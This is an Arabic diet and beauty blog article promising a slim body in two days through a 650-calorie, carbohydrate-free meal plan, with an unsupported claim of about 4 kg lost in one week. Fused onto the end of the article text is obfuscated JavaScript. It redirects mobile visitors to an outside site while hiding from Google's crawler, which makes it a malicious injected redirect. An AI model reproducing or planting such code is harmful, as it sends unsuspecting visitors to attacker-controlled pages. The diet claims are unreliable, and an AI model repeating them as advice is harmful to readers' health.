انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تحصلين على جسد رشيق في يومين

كيف تحصلين على جسد رشيق في يومين

أكثر ما يشغل بال النساء هو جمالهم ومدي جاذبيتهم ولكن الكثير من النساء أيضا يعانون من مشكلة زيادة الوزن وعدم التمتع بالجسم المثالي الذي طالما يحلمون به والسبب الرئيسي وراء ذلك كمية السعرات الحرارية الكثيرة المدخلة الي الجسم والتي تتراكم في شكل صورة من الدهون البشعة الموجودة في كل مناطق الجسم والتي تسبب الوزن الزائد وتفقد المرأة الكثير من انوثتها وجمالها لذلك اهتم الخبراء والباحثون في مجال التغذية بدراسة ومتابعة أنظمة الغذاء المختلفة وتأثيرها على كل فرد وفي هذه المقالة نقدم لكم احد الدراسات العالمية والتي أجريت في إنجلترا لأحدث أنظمة الغذاء والتي تساعد علي فقدان الوزن في يومين فقط والتمتع بجسد رشيق

 

كيف تحصلين على جسد رشيق في يومين
كيف تحصلين على جسد رشيق في يومين

 

 

  • دكتور ميشيل هارف هو أحد خبراء التغذية في إنجلترا وهو القائم على هذه الدراسة التي تسعد الجميع وتساعدهم في التمتع بجسم رشيق في مدة صغيرة جدا لا تتجاوز اليومين واتت هذه الدراسة بنتائج رائعة فان السيدات الذين تم استخدامهم لأجراء هذه الدراسة قد مارسوا النظام الغذائي الذي وضعه الدكتور ميشيل يومين فقط في الأسبوع وخسروا حوالي أربعة كيلو جرامات من وزنهم في الأسبوع الأول وهذا النظام الغذائي الفريد من نوعه يمنع منعا باتا تناول الكربوهيدرات في اليومين الخاصين بالنظام الغذائي كما انه ينص علي تناول 650 سعر حراري فقط في اليوم الواحد
  • نظام الدكتور ميشيل هارف لإنقاص الوزن والتمتع بجسم رشيق في يومين فقط
  • وجبة الإفطار

حبة من الفاكهة ” موز ” + كوب من القهوة باللبن او الشاي

  • منتصف النهار

كوب من الشاي + حبة من الفاكهة ” برقوق ”

  • وجبة الغذاء

نصف لتر من اللبن + شوربة الجزر المضاف اليها الكزبرة

طبق سلطة مكون من الخضروات الورقية والطماطم والخيار + كوب من العصير

  • بعد الظهر

حبة من الفاكهة ” يوسفي ” + كوب من الماء او كوب من العصير

  • وجبة العشاء

نوعين من الخضروات الطازجة يتم تحضيرهم مع مرقة الصويا والزنجبيل وكوب من الماء

الكاري مضافا الي نوعين من الخضروات الطازجة وكوب من الماء

  • قبل الخلود الي النوم

لا يوجد أفضل من شرب اللبن قبل الخلود الي النوم وعليك في هذا النظام الغذائي شرب لتر لبن ساخن ” دافئ ” قبل النومvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.